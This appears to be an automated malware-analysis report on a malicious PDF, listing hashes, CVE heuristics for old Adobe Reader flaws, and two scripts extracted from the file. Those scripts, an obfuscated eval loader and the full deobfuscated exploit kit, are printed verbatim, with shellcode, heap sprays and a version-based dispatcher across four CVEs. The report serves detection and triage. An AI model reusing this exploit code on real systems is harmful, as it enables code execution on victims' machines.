Malicious PDF — malware analysis report

Static analysis result for SHA-256 3a9339176c49fe72…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 769a4ca77ef0b952c1a83c5a44c8bacf SHA-1: a7ff906f6d3a8ba1a1d5989efe2b0eb89842ab5c SHA-256: 3a9339176c49fe7294aa625a3f71655a9d4c3fbe115d5b37c6d666bd769c4c3d
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB019 439 bytes
SHA-256: 668d9893a7bf7c774f9b2b6cd4e2c1aa17de9501991ddb1da2eefbce1db8fa80
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
qub='';
qmid=('qwrwqr','tit');
e('szwom=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
qqg=e('String.fro'+szwom.substr(0,9));
ous = e(szwom.substr(9)['replace'](/u/g,','));
e('k=ous.length');
for (i = 0; i < k; i+=2) {
	uboq = ous[i+1] + ('erybjkerl',ous[i]);
	qub += qqg(uboq);
}
e(qub);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3654 bytes
SHA-256: c29cf9cec58db545942e275bc5289d0fb2b08bce0bb8e9f5cf0a923f58ac458a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3cb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u6134%ue2aa%uc3fa%ue5e8%uffff%u88ff%u606d%u6161%ue03f%u3d8d%u6160%ue861%uec86%u712e%u0eec%u5035%u36ba%u3230%u3232%u3232%u3232%u3234%u0932%u6065%u6161%u3734%u0932%u0f0e%u6161%u1409%u0d13%u350c%uef09%u6f2f%u898d%u6129%u6161%u8931%u611d%u6161%ub19e%ua5e2%u0969%u8e2e%u642e%u8931%u610d%u6161%ub19e%ua1e4%u7614%u350b%u9238%u09cb%u9f13%u77d2%u7c89%u6161%u3161%u3089%u6161%u9e61%u32b1%u9f0b%ue809%u600e%u89dc%u6169%u6161%u8931%u615d%u6161%ub19e%u5001%u05a1%u31ea%uea51%u6d33%u33ea%uea75%u4913%u79d8%u6161%u5061%u509e%ucda1%u005d%u631d%u414d%uaea0%u606c%u83a6%ue091%u3a9e%u2bdd%uea0b%u7123%u73ea%ub814%u25e8%u7d45%ua200%uea01%u450d%uea45%u5d24%u35ea%u1964%u8b60%u2bea%uea79%u413b%u8a60%u5582%uea28%uea55%u8f60%u9e50%ua150%ucd9d%ua1e5%u6615%uaea0%u606c%u8aa6%u5a95%u451d%u1449%uea80%u453b%u8a60%uea07%u2a6d%u3bea%u607d%uea8a%uea65%u8960%u25e8%u7d45%ua300%u6169%u8e89%u9e9f%u099e%u1515%u5b11%u4e4e%u0d00%u1b00%u1300%u0403%u1512%u084f%u070f%u4e0e%u4f05%u0911%u5e11%u5c07%u5352%u0447%u545c%u0061';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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